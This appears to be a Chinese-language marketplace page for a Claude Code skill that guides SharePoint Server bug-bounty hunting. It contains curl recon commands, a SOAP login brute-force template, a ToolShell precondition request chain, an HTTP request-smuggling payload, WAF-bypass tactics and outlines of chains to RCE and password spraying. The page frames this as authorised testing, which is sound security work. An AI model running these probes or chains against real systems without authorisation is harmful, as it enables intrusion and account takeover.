mcpField
H
hunt-sharepoint

hunt-sharepoint

github.com/elementalsouls安全5.3k271 次安装今天更新
代码仓库

关于 hunt-sharepoint

hunt-sharepoint 是用于调查本地部署 SharePoint Server 的安全测试技能,指导研究人员识别版本、检查匿名端点和旧式认证路径,并避免将错误响应误判为漏洞。

主要功能

  1. 01识别 SharePoint 版本
  2. 02检查匿名端点
  3. 03测试旧式 SOAP 登录
  4. 04检查 ToolShell 前置条件
  5. 05排除 SSRF 误报

适用场景

  1. 01评估面向互联网的 SharePoint 场
  2. 02检查匿名访问与登录路径
  3. 03审查特定版本的暴露风险
  4. 04验证疑似 SSRF 问题

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-sharepoint

安装后在 Claude Code 中输入/hunt-sharepoint确认已加载。

详细介绍

高价值目标

SharePoint Server(本地部署)是 2025—2026 年漏洞赏金 / 红队工作中最丰富的企业攻击面之一。三股力量交汇于此:

  1. 已停止支持、未打补丁的代码路径。 SharePoint Server 2013 于 2023-04-11 结束延长支持(最终版本 15.0.5545.1000 / KB5002381)。此后发布的每个 SharePoint CVE,在 SP2013 场中都永久无法修补。SP2016 将于 2026-07-14 结束支持;SP2019 将于 2026-07-14 结束支持(截至 2026 年 5 月,也就是未来 2 个月);目前只有 SP Subscription Edition 仍处于主动支持期。
  2. CVE-2025-53770 / 53771“ToolShell”——2025 年 7 月针对 SPE / SP2019 / SP2016 的紧急带外补丁链。存在漏洞的代码路径(匿名访问 /_layouts/15/ToolPane.aspx?DisplayMode=Edit + 匿名 __REQUESTDIGEST + 未加密的 ViewState)在 SP2013 中同样存在,且永远不会获得修复。
  3. 自定义品牌登录页会遗漏旧版 SOAP 登录。 /_vti_bin/Authentication.asmx 中的 Login SOAP 操作,相当于 WordPress 的 XMLRPC 绕过——可匿名接受原生 Forms 凭据;大多数场中都没有速率限制,即使品牌 UI 设置了锁定机制也是如此。

价值最高的 SharePoint 目标:

  • 仍可通过公共互联网访问的 SP2013 场——自 2023 年 4 月起的每个 CVE 都未修补。可提交严重级别的发现。
  • 基于 SharePoint 构建的经销商 / 合作伙伴 / 供应商门户(例如德国 VW 集团、某企业系统集成商等)——包含影响重大的业务数据,且常嵌套于企业 AD 树中。
  • 启用了匿名 Forms 身份验证区域的 SharePoint 场——Authentication.asmx 可被匿名暴力破解。
  • 位于企业 AD 父林中的 SharePoint——NTLM Type-2 泄漏(参见 hunt-ntlm-info)会泄露父林成员信息。
  • 集成了 Telerik 的 SharePoint 安装——除了 SP 自身的反序列化入口外,还存在额外入口。

**回报最高的资产类型:**可从互联网访问的 SP Server(任何版本)> 带有自定义解决方案挂钩的 SP Online > 仅在攻陷 VPN 后才能访问的内网 SP。


攻击面信号

响应头指纹(出现任意一项即可——通常会同时出现多项):

SPRequestGuid: <GUID>                           (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly              (SharePoint web request)
X-SharePointHealthScore: 0                      (SharePoint specific)
SPIisLatency: <ms>                              (SharePoint internal timing)
SPRequestDuration: <ms>                         (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0      (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL>        (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL>     (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied...      (WebDAV extension active)
DAV: 1, 2                                       (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=...               (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=...               (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=...              (SharePoint UI mode)

URL / 路径指纹:

/_layouts/15/                  (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/                  (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/                  (some SP2019 / SPE)
/_vti_bin/                     (FrontPage-RPC + SOAP services)
/_vti_pvt/                     (FrontPage-RPC config — usually 403)
/_vti_inf.html                 (almost always anonymous; contains FPVersion banner)
/_api/                         (modern REST API)
/_api/$metadata                (OData metadata — often anonymous + large)
/_api/contextinfo              (FormDigest issuer — POST only)
/_catalogs/                    (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx   (user list — usually 403)
/_layouts/15/start.aspx        (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx     (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx       (people/list picker — SafeControl recon)
/_layouts/15/download.aspx     (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx      (logout)
/_layouts/15/error.aspx        (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core    (resource bundle leak)
/_layouts/15/<Customer>/       (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx  (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx    (often anon-readable)
/_vti_bin/lists.asmx           (auth-required on hardened farms)
/_vti_bin/sites.asmx           (auth-required on hardened farms)
/_vti_bin/sts/                 (Security Token Service — usually 302 to error)
/sites/<name>/                 (site collections)
/personal/<user>/              (MySite / OneDrive-for-Business)

正文信号(HTML 响应中):

<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/...");                    (Script-on-demand registration)
var g_initUrl='';                                          (start.aspx MDS state)
__REQUESTDIGEST                                            (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED=""                                    (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX"                             (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low:                      (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting                  (anonymous error.aspx body)

技术栈信号:

  • Server: Microsoft-IIS/10.0 + 以 /_layouts/15/ 开头的路径 → SharePoint 2013/2016/2019/SE
  • SharePoint 前置 AWS ELB / ALB → 可能存在跨节点 ViewState MAC 问题(参见 hunt-aspnet)
  • /_api/web/CurrentUser 上的 WWW-Authenticate: NTLM → 双重身份验证(Forms + NTLM);使用 hunt-ntlm-info 获取 AD 拓扑信息
  • *.test.<customer>.tld → 生产 SharePoint 的测试 / 预发布镜像;其中的数据通常与生产环境同步

逐步狩猎方法

  1. 识别 SharePoint 版本。 可通过多个路径匿名获取版本号。立即将结果与 CVE 矩阵对应。

    # Method 1: _vti_inf.html (always anonymous, always present)
    curl -sk "https://target.example/_vti_inf.html"
    # → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE)
    
    # Method 2: _api/contextinfo POST (anonymous on most farms)
    curl -sk -X POST "https://target.example/_api/contextinfo" \
      -H "Accept: application/json;odata=verbose" \
      | jq -r '.d.GetContextWebInformation.LibraryVersion'
    # → "15.0.5545.1000" (full build number)
    
    # Method 3: /_layouts/15/start.aspx body
    curl -sk "https://target.example/_layouts/15/start.aspx" \
      | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"
    

    与 CVE 矩阵对应:

    版本版本类型状态EoL 后仍未修补的显著 CVE
    15.0.5545.1000SP2013 最终 CUEoL 2023-04-11CVE-2023-29357、CVE-2023-33160/33157/36941、CVE-2024-21318/30043/38023/38024/38094、CVE-2025-53770/53771、CVE-2025-29794
    16.0.10416.xSP2016EoL 2026-07-14取决于补丁级别
    16.0.10417.x+SP2019 / SE仍受支持查看 Microsoft 每月的 Patch Tuesday
  2. 探测匿名端点矩阵。 一次性遍历下表中的所有端点。任何可匿名访问的端点都可能成为攻击链的一环。

    /_vti_inf.html                                          → version disclosure
    /_layouts/15/start.aspx                                 → version disclosure + session minting
    /_layouts/15/blank.htm                                  → benign anchor for smuggling probes
    /_layouts/15/error.aspx                                 → request-validator behaviour probe
    /_layouts/15/Authenticate.aspx?Source=                  → redirect-chain behaviour
    /_layouts/15/AccessDenied.aspx?Source=                  → redirect-chain behaviour
    /_layouts/15/SignOut.aspx                               → logout — anonymous OK
    /_layouts/15/closeConnection.aspx                       → anonymous OK
    /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings
    /_layouts/15/scriptresx.ashx?culture=en-us&name=core    → 277KB localised strings
    /_layouts/15/ToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)
    /_layouts/15/Picker.aspx                                → SafeControl recon (see step 6)
    /_layouts/15/<CustomerName>/pages/login/customlogin.aspx    → custom Forms login (replace `<CustomerName>` with target's customer name)
    /_vti_bin/Authentication.asmx                           → legacy SOAP login — anonymous brute-force (CRITICAL)
    /_vti_bin/Authentication.asmx?WSDL                      → WSDL — confirms Login + Mode ops
    /_vti_bin/SharedAccess.asmx                             → often anonymous
    /_vti_bin/spsdisco.aspx                                 → SP service discovery
    /_api/contextinfo (POST)                                → anonymous FormDigest mint (HIGH)
    /_api/$metadata                                         → 381KB API surface enumeration
    /_api/Search                                            → search service descriptor
    /_api/web/CurrentUser                                   → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)
    
  3. 通过 Authentication.asmx 绕过旧版 SOAP 登录。 对照 hunt-auth-bypass 中的 Legacy-Protocol Matrix。标准探测方式:

    # First: confirm Mode = Forms (else this attack vector is N/A)
    curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
      -H "Content-Type: text/xml; charset=utf-8" \
      -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
      -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
    # → <ModeResult>Forms</ModeResult>  ← target is exploitable
    # → <ModeResult>Windows</ModeResult>  ← target uses Windows auth only; this vector N/A
    
    # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
    # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
    # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface
    

    **严重程度:**匿名访问 + 无速率限制 + 无锁定机制时为严重。即使尚未证明身份验证成功,也应提交漏洞赏金报告——漏洞在于无上限的凭据验证,而不是“我破解了某个凭据”。

  4. 探测 ToolShell 前置条件链(CVE-2025-53770 类)。包括三个子请求:

    # Sub-step a: anonymous GET on ToolPane.aspx
    curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
    # Body should contain: __REQUESTDIGEST="0x...,..."  AND  __VIEWSTATEENCRYPTED=""
    # If both: precondition stack is anonymous-reachable.
    
    # Sub-step b: anonymous POST to /_api/contextinfo
    curl -sk -X POST "https://target.example/_api/contextinfo" \
      -H "Accept: application/json;odata=verbose" \
      | jq -r '.d.GetContextWebInformation.FormDigestValue'
    # Should return a valid digest with 1800s validity.
    
    # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
    curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
      -H "X-RequestDigest: <digest from step b>" \
      --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
    # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.
    

    **严重性:**对于已结束生命周期的 SP2013,为严重(永远不会发布补丁)。对于 SP2016/2019/SE,若 __VIEWSTATEENCRYPTED 非空,则为高(加密 ViewState 可缓解反序列化攻击路径,但前置条件仍提示存在配置错误)。

    **重要:**切勿实际发送恶意 ViewState 负载。前置条件链已足以作为报告证据。在真实的 CVE-2025-53770 攻击链中,恢复 machineKey 并非实现 RCE 的前置条件:身份验证绕过(CVE-2025-49706,通过精心构造的 Referer 访问 ToolPane.aspx)加上不安全反序列化(CVE-2025-49704),即可在不了解 machineKey 的情况下获得初始 Web shell。随后,Web shell 会导出 <machineKey>(ValidationKey/DecryptionKey),并用它伪造签名的 __VIEWSTATE,以实现持久化/未授权的再次利用。因此,machineKey 是首次 RCE 后获取的战利品,也是持久化攻击路径的一部分,而不是攻击前置门槛——不要仅因未知 machineKey,就低估存在可利用漏洞的场。

  5. **NTLM Type-2 AD 拓扑信息泄露。**完整方法请参阅 hunt-ntlm-info。快速检查:

    # Use Burp send_http1_request with keep-alive, or Python raw socket
    # Anonymous Type-1 with NetBIOS-info request flag:
    #   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
    # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name
    

    **严重性:**与互联网暴露及默认 WIN-XXXXXXXXXXX 主机名结合时为中等;否则为信息级。

  6. **通过 Picker.aspx 枚举 SafeControl。**Picker.aspx 会根据类是否存在,返回两种不同的错误状态:

    • 类型存在但未列入白名单:"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
    • 类型不存在:"Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."

    将 Microsoft.SharePoint.*.WebControls.* 和 Microsoft.SharePoint.WebPartPages.* 类型的字典输入其中,以枚举可访问的类。该列表本身可用于探查 CVE-2019-0604 系列攻击链。

    for cls in \
      "Microsoft.SharePoint.WebControls.PeopleEditor" \
      "Microsoft.SharePoint.WebControls.ItemPicker" \
      "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
      ; do
      curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
        | grep -oE "<title>[^<]+</title>"
    done
    
  7. **download.aspx 并非出站 SSRF——识别这一点,别浪费时间。**SP 的 /_layouts/15/download.aspx?SourceUrl= 是 SP 内部路径解析器,而不是通用 URL 抓取器。其行为如下:

    • 外部 URL(http://evil.example.com/x)→ 返回 500,并显示 "The Web application at <URL> could not be found"——服务器尝试将其解析为 SP Web 应用,并未抓取内容。
    • 同源文件 URL → 返回 500,并显示 "<nativehr>0x81070211</nativehr>...Cannot open file '<path>'"——服务器尝试调用 SPFile.OpenBinary,但文件不存在。
    • 与扩展名阻止列表匹配的文件(.ashx、.asmx、.svc、.config)→ 无论文件是否存在,均返回 500,并显示 "file blocked from this Web site by the server administrators"。
    • file://、UNC 路径、gopher:// 等 → 返回 500,并显示 "Value does not fall within the expected range"——URL scheme 验证器会拒绝这些输入。

    **错误消息中回显 URL 并不能确认存在 SSRF。**提出 SSRF 声明前,请通过 Burp Collaborator OOB 确认。(另请参阅 hunt-ssrf 中的 OOB-Or-It-Didn't-Happen Gate。)在一次经授权的测试中已验证为阴性:对 12 个以上接受 URL 的 SP 参数发送了 38 个带 Collaborator 标签的负载,未收到任何回调。

    扩展名阻止列表看起来也像是“文件存在性 oracle”(已存在与不存在的文件会返回不同响应),但实际上它只是 SP 的文件扩展名策略。不要根据阻止列表响应推断文件是否存在。

  8. **自定义品牌模块枚举。**客户定制的 SP 安装几乎总会有 /_layouts/15/<CustomerName>/ 目录树。可从登录 URL 中获取名称(例如,/_layouts/15/<CustomerName>/pages/login/customlogin.aspx → 客户名称为 <CustomerName>)。然后进行探测:

    for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
      curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
        "https://target.example/_layouts/15/CustomerName/$sub/"
      # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
    done
    

    JS bundle 通常包含硬编码的端点 URL、隐藏路由和内部 API 路径。请使用正确的 Referer 标头逐个获取(有些资源需要通过 Referer 验证)。

  9. **搜索服务探测。**匿名访问 /_api/Search 会返回一个简短的 JSON 描述符。若搜索服务应用程序未运行,访问 /_api/search/query?querytext='X' 会返回带堆栈跟踪的 500 响应——这有助于披露基础设施信息,但本身不能直接利用。

  10. 登录后需认证的界面(如果你拥有有效凭据):

    • /_api/web/Lists — 枚举列表
    • /_api/web/SiteUsers — 枚举用户
    • /_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files — 枚举文件
    • /_layouts/15/people.aspx — 用户列表
    • 自定义客户品牌模块 — 检查 IDOR 和业务逻辑
    • 工作流服务(/_api/SP.WorkflowServices.*)

载荷与检测模式

Authentication.asmx 登录(标准暴力破解端点):

POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
      <username>USERNAME</username>
      <password>PASSWORD</password>
    </Login>
  </soap:Body>
</soap:Envelope>

响应代码:

  • <ErrorCode>NoError</ErrorCode> → 认证成功;随后返回 <CookieName>FedAuth</CookieName> 和 <TimeoutSeconds>...</TimeoutSeconds>
  • <ErrorCode>PasswordNotMatch</ErrorCode> → 认证失败(不存在的用户也会得到相同响应,因此不会通过错误字符串泄露用户枚举信息)
  • 500 + <faultstring>Value cannot be null. Parameter name: userName</faultstring> → 用户名为空

复现 ToolShell 前置条件:

# Step 1: anon GET ToolPane.aspx
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
# If value="" → precondition

# Step 2: anon FormDigest
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo" \
  -H "Accept: application/json;odata=verbose" \
  | jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."

# Step 3: anon POST ToolPane with digest
curl -sk -X POST -H "X-RequestDigest: $DIGEST" \
  --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
  "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
  -w "\ncode=%{http_code} size=%{size_download}\n"

AWS ELB + SP IIS 后端上的 HTTP TE.CL 请求走私(AWS ELB 后方的 SP 场均会稳定出现):

POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15

x=1
0

预期后端挂起约 12 秒,基准值约为 0.16 秒(5 次试验结果一致)。混淆变体(Transfer-Encoding : chunked、transfer-encoding: chunked、尾随空格、混合大小写)会导致类似的约 6 秒挂起。

Picker.aspx SafeControl 侦察:

curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
  | grep -oE "<title>[^<]+</title>"
# "Only PickerDialog types..." = exists, not whitelisted
# "Could not load type..."    = does not exist

常见根本原因

  1. /_vti_bin/Authentication.asmx 在面向公共区域的 IIS 绑定上仍处于启用状态。 SharePoint 管理员在自定义登录界面上启用表单身份验证,却没有意识到旧版 SOAP Login 端点仍可独立访问。

  2. 布局页面上的 viewStateEncryption="Auto"。 对于不包含敏感表单字段的页面,SharePoint 的默认 ViewState 模式只进行签名。ToolPane.aspx 等页面的 __VIEWSTATEENCRYPTED="",如果 machineKey 泄露,就可能被利用。

  3. 允许匿名 POST 访问 /_api/contextinfo。 SharePoint Online 和 SPE 2024-07+ 要求访问 contextinfo 时必须通过身份验证。较早版本和大多数 SP2013 场允许匿名 POST → 返回有效期为 1800 秒的 FormDigest 令牌。这是 ToolShell 的第二个前置条件。

  4. 面向公共区域的 IIS 绑定启用了 NTLM。 默认的双重身份验证(表单身份验证 + NTLM)会使匿名互联网用户也能使用 NTLM Negotiate。Type-2 挑战会泄露 AD 拓扑。

  5. 已过 EoL 的 SP2013 场仍暴露于互联网。 Microsoft 扩展支持已于 2023-04-11 结束。2023 年 4 月之后发布的所有 SharePoint CVE 都不会获得修补。在企业集成商场景中很常见(系统集成商位于企业母公司的 AD 内、由 SI 管理的经销商门户)。

  6. 将 web.config 中的 <SafeControl> 白名单视为唯一防护措施。 Picker.aspx 会执行 instanceof PickerDialog 检查,已修补原始 CVE-2019-0604 攻击路径,但 Picker.aspx 的错误差异仍会导致底层 SafeControl 模型可被匿名枚举。

  7. AWS ELB + SP IIS 未显式规范化 Transfer-Encoding。 ELB 默认会将 Transfer-Encoding 转发到后端 IIS;当两者同时存在时,IIS 对 Content-Length 的处理方式会导致与 ELB 脱节。多种 TE 混淆变体可绕过简单的 WAF 规则。

  8. 默认 Windows 安装程序主机名(WIN-XXXXXXXXXXX)从未更改。 这是匆忙部署的信号;与 SQL 后端默认服务帐户密码、管理中心默认场帐户密码等情况相关。

  9. 自定义品牌模块(/_layouts/15/<Customer>/)的 JS 包使用 ?v=YYYYMMDD 查询字符串。 查询字符串会显示最后修改日期,可用于判断“此应用仍在积极维护”还是“此应用已被弃用”。

  10. AWS ELB 未将会话亲和性固定到单个 WFE 时,会发生跨节点 ViewState MAC 验证失败。 从运行角度看,这会导致用户每次 POST 都收到 500 错误;从安全角度看,错误消息会泄露场拓扑结构。


绕过技术

防御措施绕过/侦察策略
带有品牌标识的 customlogin.aspx,并启用锁定/CAPTCHA/MFA/_vti_bin/Authentication.asmx 旧版 SOAP——这些保护措施均不适用
WWW-Authenticate: NTLM 要求调用方通过身份验证默认 IIS extendedProtection=None 允许匿名获取 Type-2 challenge——参见 hunt-ntlm-info
ELB 删除了 MicrosoftSharePointTeamServices 标头/_layouts/15/start.aspx 的正文仍会泄露版本;/_api/contextinfo 的 LibraryVersion 也会
/_vti_bin/lists.asmx 返回 403(SharedAccess.asmx / Authentication.asmx 仍开放)不同服务的 ACL 各不相同;应分别枚举所有 asmx
/_api/web/CurrentUser 返回带堆栈跟踪的 JSON 401即使在拒绝身份验证的响应中,堆栈跟踪也会泄露信息;可结合版本泄露利用
发放匿名 __REQUESTDIGEST(ToolShell 前置条件)配合匿名 ToolPane POST 和未加密的 ViewState;反序列化入口无需 machineKey 即可实现 RCE——随后 shell 会转储 machineKey,以便持续重新利用
已设置自定义错误页面触发不同代码路径(类似 XML 的 ViewState → 双解析器错误差异——参见 hunt-aspnet)
WAF 会拦截查询中的 <将载荷移至 Cookie / Referer / SOAP 正文——请求验证器不会检查这些上下文
通过 SafeControl 补丁拦截了 Microsoft.SharePoint.WebPartPages.DataFormWebPart枚举 SafeControl 列表;寻找可绕过继承门禁的子类
HTTP/2 H2.CL 请求走私AWS ALB 通常不会公布 h2 ALPN——通过 openssl s_client -alpn h2,http/1.1 尽早排除这类问题
Authenticate.aspx 将 Source= 包装在 ReturnUrl 中使用有效凭据测试身份验证后的行为;身份验证前的调用链会安全地包装所有内容

Gate 0 验证

撰写报告前:

  1. 攻击者现在能做什么?

    • Authentication.asmx 匿名开放且没有速率限制 → 严重(可无限次验证凭据;密码喷洒 + 来自 NTLM 的 UPN 格式 = 端到端 ATO 路径)
    • 完整的 ToolShell 前置条件链(匿名 GET + 匿名 FormDigest + 匿名 POST + 未加密 VS)+ 已终止支持的 SP2013 → 严重(可通过有充分文档记录的公开利用链实现 RCE,不会再发布补丁)
    • NTLM Type-2 泄露 AD 拓扑信息 + 默认 Windows 主机名 → 中等
    • 仅 SP2013 已终止支持 → 中低(合规/安全卫生问题;漏洞赏金计划的标准各不相同——有些接受,许多会拒绝)
    • download.aspx 回显 URL,但未确认 Collaborator 回连 → 不属于 SSRF——撤回
  2. 你是否已复现完整攻击链,达到攻击者可实现的影响?

    • 对于 Authentication.asmx:进行 10 次突发测试并确保时序一致,即足以证明没有速率限制。不要实际破解凭据。
    • 对于 ToolShell:前置条件链(步骤 a+b+c)即已足够。不要发送恶意载荷。
    • 对于 NTLM:解码 AV-pair 并显示 AD 拓扑字段,即已足够。
  3. 你能否从干净的 shell 在 <10 分钟内复现?

    • Authentication.asmx:2 条 curl 命令。
    • ToolShell 前置条件:3 条 curl 命令。
    • NTLM Type-2:1 段 Python 代码片段(AV-pair 解码器)。

真实影响示例

场景 A — 针对已停止生命周期的本地 SharePoint 场的授权测试

目标:https://target-portal.example/ — SharePoint Server 2013 构建版本 15.0.5545.1000(KB5002381 / 2023 年 4 月最终 EoL CU)。租户 = 企业全球 AD(customer.parent-corp.example)内的系统集成商租户(瑞士 进口商)。服务器主机名 WIN-XXXXXXXXXXX(Windows 安装程序默认模式)。

共发现 11 个问题:3 个严重、2 个中危、6 个低危/信息类。三个严重问题:

  1. Authentication.asmx 匿名凭据暴力破解 — 10 次突发测试显示,响应时间稳定在 0.6-0.9 秒,且没有速率限制、账户锁定、验证码或 MFA 挑战。响应内容均为 431 字节。
  2. HTTP 请求走私 TE.CL — 5/5 次试验均显示后端挂起 12.18 秒,基准为 0.16 秒。另有 4 种混淆变体(冒号前有空格、尾随空格、小写、大小写混合)均导致 6.16 秒挂起 — 每种都能绕过简单的 WAF 规则。
  3. ToolShell 前置条件链 — 匿名 GET 请求访问 ToolPane.aspx(200)+ 匿名 POST 请求访问 /_api/contextinfo(200,返回有效 FormDigest)+ 携带摘要的匿名 POST 请求访问 ToolPane.aspx(200,没有身份验证挑战)+ __VIEWSTATEENCRYPTED=""。这是针对已停止生命周期的 SP2013 的永久零日漏洞。

另有中危问题:NTLM Type-2 泄露完整 AD 拓扑(customer.parent-corp.example、WIN-XXXXXXXXXXX);SP2013 生命周期终止风险。

场景 B — 正确判定 /_layouts/15/download.aspx?SourceUrl= 不属于 SSRF(节省时间示例)

同一目标。初始扫描将 download.aspx?SourceUrl=http://oob.example.com/ 标记为 SSRF,因为服务器在 500 错误标题中回显了该 URL("The Web application at http://oob.example.com/ could not be found")。针对 12 个以上接受 URL 的 SP 参数发送了 38 个带 Collaborator 标记的载荷 → 未触发任何 DNS/HTTP 回调。结论:download.aspx 是 SP 内部的 SPWebApplication / SPFile 解析器,不是通用 URL 获取器。此处的“回显”是服务器端错误字符串格式化的结果。遵循 hunt-ssrf 的 OOB-Or-It-Didn't-Happen Gate,避免报告一个不适用的问题。

场景 C — 通过 Picker.aspx 验证 CVE-2019-0604 补丁

同一目标。向 Picker.aspx 传入 Microsoft.SharePoint.WebPartPages.DataFormWebPart(CVE-2019-0604 的典型反序列化利用 Gadget)后,返回 "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." — 这意味着该类型确实存在,且可通过反射访问,但对话框框架通过 instanceof PickerDialog 检查正确拒绝了它。原始 CVE-2019-0604 攻击向量的补丁确实已生效。类型存在性枚举本身可用于侦察,以发现任何不经过继承关系检查的未来 CVE-2019-0604 系列攻击链。


交叉引用

  • Authentication.asmx 旧式 SOAP 登录 → 参见 hunt-auth-bypass 中的旧协议矩阵,了解与 WordPress-XMLRPC 等效的模式。
  • NTLM Type-2 AD 拓扑泄露 → 参见 hunt-ntlm-info,了解 AV 对解码器 + 严重性分级标准。
  • ViewState 双解析器反模式、machineKey 恢复、请求验证绕过 → 参见 hunt-aspnet。
  • AWS ELB + IIS 上的 HTTP 请求走私 → 参见 hunt-http-smuggling。
  • 确认 SP 上的任何 SSRF 声明 → 参见 hunt-ssrf 的 OOB-Or-It-Didn't-Happen Gate。
  • 将卫生类问题作为漏洞赏金提交前确认测试类型 → 参见 bb-methodology 的 PART 0 模式确认 Gate。

相关技能与攻击链

  • hunt-auth-bypass — 配置不当的场中,旧版 SOAP /_vti_bin/Authentication.asmx 接受匿名 Login 调用。攻击链原语:SharePoint 匿名 SOAP 登录探测 → 如果响应返回 Cookie 或出现成功响应差异 → 使用 hunt-auth-bypass 暴力破解矩阵(通过计时枚举用户名,并针对同一个绕过 ADFS 层锁定的 SOAP 端点,以低频方式喷洒密码)→ 获取有效凭据 → 访问 /_layouts/15/ 身份验证后界面。
  • hunt-ntlm-info — 每个 SharePoint 场都会在 /_vti_bin/ 上向匿名用户公布 WWW-Authenticate: NTLM。攻击链原语:捕获 SharePoint NTLM Type-2 挑战 → hunt-ntlm-info 解码 AV_PAIR,获取 NetBIOS 域、内部 DNS 林和 DC 主机名 → 将域提供给 m365-entra-attack,在与该域关联的租户上通过 ROPC 喷洒枚举用户。
  • hunt-aspnet — SharePoint 底层使用 ASP.NET Webforms;ViewState、machineKey 和 SafeControl 反射均适用。攻击链原语:披露 SharePoint 版本 → 确认缺少相应补丁 → hunt-aspnet 对 ViewState 执行双解析器 MAC 绕过 → 反序列化 gadget → 以场账户身份在 w3wp.exe 中实现 RCE。
  • hunt-rce — ToolShell 前置条件链(CVE-2025-53770)是当前影响重大的 SP RCE 路径。攻击链原语:满足 ToolShell 前置条件(通过 CVE-2025-49706 身份验证绕过可访问 /_layouts/15/ToolPane.aspx?DisplayMode=Edit——构造指向 ToolPane.aspx 的 Referer 标头——且版本存在漏洞)→ 使用 hunt-rce 反序列化 gadget 链 → 获取 SYSTEM/场账户 Shell → 通过被盗的本地服务账户令牌横向移动至 Entra 同步身份,使用 m365-entra-attack。
  • triage-validation — SharePoint 场会产生大量“看起来像发现”的卫生噪声(FormDigest 签发、版本披露、扩展名阻止列表异常)。攻击链原语:报告前,使用 7-Question Gate 检查每项 SP 发现——大多数仅涉及版本披露的发现,若没有配套的 CVE PoC,在“这在此场中是否真的可利用”这一关就会被排除。

评论

支持 Markdown